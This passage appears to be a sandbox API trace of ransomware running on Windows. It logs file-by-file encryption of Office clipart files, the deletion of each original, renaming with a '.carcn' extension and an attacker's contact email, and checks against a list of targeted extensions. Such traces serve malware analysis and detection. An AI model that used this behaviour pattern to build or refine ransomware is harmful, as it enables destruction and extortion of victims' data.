lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.084] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.084] SetEndOfFile (hFile=0x37c) returned 1 [0305.084] CloseHandle (hObject=0x37c) returned 1 [0305.084] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.084] SetEndOfFile (hFile=0x340) returned 1 [0305.086] CloseHandle (hObject=0x340) returned 1 [0305.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0305.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0305.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0305.087] lstrlenW (lpString=".doc") returned 4 [0305.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.087] lstrlenW (lpString=".docx") returned 5 [0305.087] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0305.087] lstrlenW (lpString=".pdf") returned 4 [0305.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.087] lstrlenW (lpString=".xls") returned 4 [0305.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.087] lstrlenW (lpString=".xlsx") returned 5 [0305.088] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0305.088] lstrlenW (lpString=".ppt") returned 4 [0305.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0305.088] lstrlenW (lpString=".zip") returned 4 [0305.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.088] lstrlenW (lpString=".rar") returned 4 [0305.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.088] lstrlenW (lpString=".bz2") returned 4 [0305.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.088] lstrlenW (lpString=".7z") returned 3 [0305.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0305.088] lstrlenW (lpString=".dbf") returned 4 [0305.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0305.088] lstrlenW (lpString=".1cd") returned 4 [0305.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68 [0305.088] lstrlenW (lpString=".jpg") returned 4 [0305.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.094] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.094] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.096] GetLastError () returned 0x0 [0305.096] ReadFile (in: hFile=0x34c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x23c2, lpOverlapped=0x0) returned 1 [0305.102] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x23d0, lpOverlapped=0x0) returned 1 [0305.103] ReadFile (in: hFile=0x34c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.103] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.103] SetEndOfFile (hFile=0x398) returned 1 [0305.104] CloseHandle (hObject=0x398) returned 1 [0305.104] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.104] SetEndOfFile (hFile=0x34c) returned 1 [0305.105] CloseHandle (hObject=0x34c) returned 1 [0305.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0305.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0305.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0305.106] lstrlenW (lpString=".doc") returned 4 [0305.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.106] lstrlenW (lpString=".docx") returned 5 [0305.106] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0305.106] lstrlenW (lpString=".pdf") returned 4 [0305.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.106] lstrlenW (lpString=".xls") returned 4 [0305.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.106] lstrlenW (lpString=".xlsx") returned 5 [0305.106] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0305.106] lstrlenW (lpString=".ppt") returned 4 [0305.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0305.106] lstrlenW (lpString=".zip") returned 4 [0305.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.106] lstrlenW (lpString=".rar") returned 4 [0305.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.106] lstrlenW (lpString=".bz2") returned 4 [0305.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.106] lstrlenW (lpString=".7z") returned 3 [0305.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0305.107] lstrlenW (lpString=".dbf") returned 4 [0305.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0305.107] lstrlenW (lpString=".1cd") returned 4 [0305.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0305.107] lstrlenW (lpString=".jpg") returned 4 [0305.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.107] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.107] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.108] GetLastError () returned 0x0 [0305.108] ReadFile (in: hFile=0x34c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x4ae, lpOverlapped=0x0) returned 1 [0305.118] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x4b0, lpOverlapped=0x0) returned 1 [0305.119] ReadFile (in: hFile=0x34c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.119] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.119] SetEndOfFile (hFile=0x398) returned 1 [0305.119] CloseHandle (hObject=0x398) returned 1 [0305.119] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.119] SetEndOfFile (hFile=0x34c) returned 1 [0305.120] CloseHandle (hObject=0x34c) returned 1 [0305.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0305.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0305.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0305.121] lstrlenW (lpString=".doc") returned 4 [0305.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.122] lstrlenW (lpString=".docx") returned 5 [0305.122] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0305.122] lstrlenW (lpString=".pdf") returned 4 [0305.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.122] lstrlenW (lpString=".xls") returned 4 [0305.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.122] lstrlenW (lpString=".xlsx") returned 5 [0305.122] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0305.122] lstrlenW (lpString=".ppt") returned 4 [0305.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0305.122] lstrlenW (lpString=".zip") returned 4 [0305.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.122] lstrlenW (lpString=".rar") returned 4 [0305.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.122] lstrlenW (lpString=".bz2") returned 4 [0305.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.122] lstrlenW (lpString=".7z") returned 3 [0305.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0305.122] lstrlenW (lpString=".dbf") returned 4 [0305.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0305.122] lstrlenW (lpString=".1cd") returned 4 [0305.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0305.122] lstrlenW (lpString=".jpg") returned 4 [0305.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.123] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.123] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.124] GetLastError () returned 0x0 [0305.124] ReadFile (in: hFile=0x34c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1352, lpOverlapped=0x0) returned 1 [0305.133] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1360, lpOverlapped=0x0) returned 1 [0305.134] ReadFile (in: hFile=0x34c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.134] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.134] SetEndOfFile (hFile=0x398) returned 1 [0305.135] CloseHandle (hObject=0x398) returned 1 [0305.135] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.135] SetEndOfFile (hFile=0x34c) returned 1 [0305.136] CloseHandle (hObject=0x34c) returned 1 [0305.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0305.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0305.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0305.137] lstrlenW (lpString=".doc") returned 4 [0305.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.137] lstrlenW (lpString=".docx") returned 5 [0305.137] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0305.137] lstrlenW (lpString=".pdf") returned 4 [0305.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.137] lstrlenW (lpString=".xls") returned 4 [0305.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.137] lstrlenW (lpString=".xlsx") returned 5 [0305.137] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0305.137] lstrlenW (lpString=".ppt") returned 4 [0305.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0305.137] lstrlenW (lpString=".zip") returned 4 [0305.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.137] lstrlenW (lpString=".rar") returned 4 [0305.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.137] lstrlenW (lpString=".bz2") returned 4 [0305.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.137] lstrlenW (lpString=".7z") returned 3 [0305.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0305.138] lstrlenW (lpString=".dbf") returned 4 [0305.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0305.138] lstrlenW (lpString=".1cd") returned 4 [0305.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0305.138] lstrlenW (lpString=".jpg") returned 4 [0305.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.143] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.143] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.144] GetLastError () returned 0x0 [0305.144] ReadFile (in: hFile=0x334, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xcd2, lpOverlapped=0x0) returned 1 [0305.159] WriteFile (in: hFile=0x344, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xce0, lpOverlapped=0x0) returned 1 [0305.160] ReadFile (in: hFile=0x334, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.160] WriteFile (in: hFile=0x344, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.160] SetEndOfFile (hFile=0x344) returned 1 [0305.160] CloseHandle (hObject=0x344) returned 1 [0305.160] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.160] SetEndOfFile (hFile=0x334) returned 1 [0305.161] CloseHandle (hObject=0x334) returned 1 [0305.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0305.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0305.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0305.162] lstrlenW (lpString=".doc") returned 4 [0305.162] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0305.162] lstrlenW (lpString=".docx") returned 5 [0305.162] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0305.162] lstrlenW (lpString=".pdf") returned 4 [0305.163] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0305.163] lstrlenW (lpString=".xls") returned 4 [0305.163] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0305.163] lstrlenW (lpString=".xlsx") returned 5 [0305.163] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0305.163] lstrlenW (lpString=".ppt") returned 4 [0305.163] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0305.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0305.163] lstrlenW (lpString=".zip") returned 4 [0305.163] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0305.163] lstrlenW (lpString=".rar") returned 4 [0305.163] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0305.163] lstrlenW (lpString=".bz2") returned 4 [0305.163] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0305.163] lstrlenW (lpString=".7z") returned 3 [0305.163] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0305.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0305.163] lstrlenW (lpString=".dbf") returned 4 [0305.163] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0305.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0305.163] lstrlenW (lpString=".1cd") returned 4 [0305.163] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0305.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0305.163] lstrlenW (lpString=".jpg") returned 4 [0305.163] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0305.164] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.164] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.165] GetLastError () returned 0x0 [0305.165] ReadFile (in: hFile=0x334, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1f8c, lpOverlapped=0x0) returned 1 [0305.180] WriteFile (in: hFile=0x344, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1f90, lpOverlapped=0x0) returned 1 [0305.181] ReadFile (in: hFile=0x334, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.181] WriteFile (in: hFile=0x344, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.181] SetEndOfFile (hFile=0x344) returned 1 [0305.184] CloseHandle (hObject=0x344) returned 1 [0305.184] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.184] SetEndOfFile (hFile=0x334) returned 1 [0305.187] CloseHandle (hObject=0x334) returned 1 [0305.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0305.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0305.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0305.188] lstrlenW (lpString=".doc") returned 4 [0305.188] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0305.188] lstrlenW (lpString=".docx") returned 5 [0305.188] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0305.188] lstrlenW (lpString=".pdf") returned 4 [0305.188] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0305.189] lstrlenW (lpString=".xls") returned 4 [0305.189] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0305.189] lstrlenW (lpString=".xlsx") returned 5 [0305.189] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0305.189] lstrlenW (lpString=".ppt") returned 4 [0305.189] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0305.189] lstrlenW (lpString="C:\\Program Files\\Microsoft 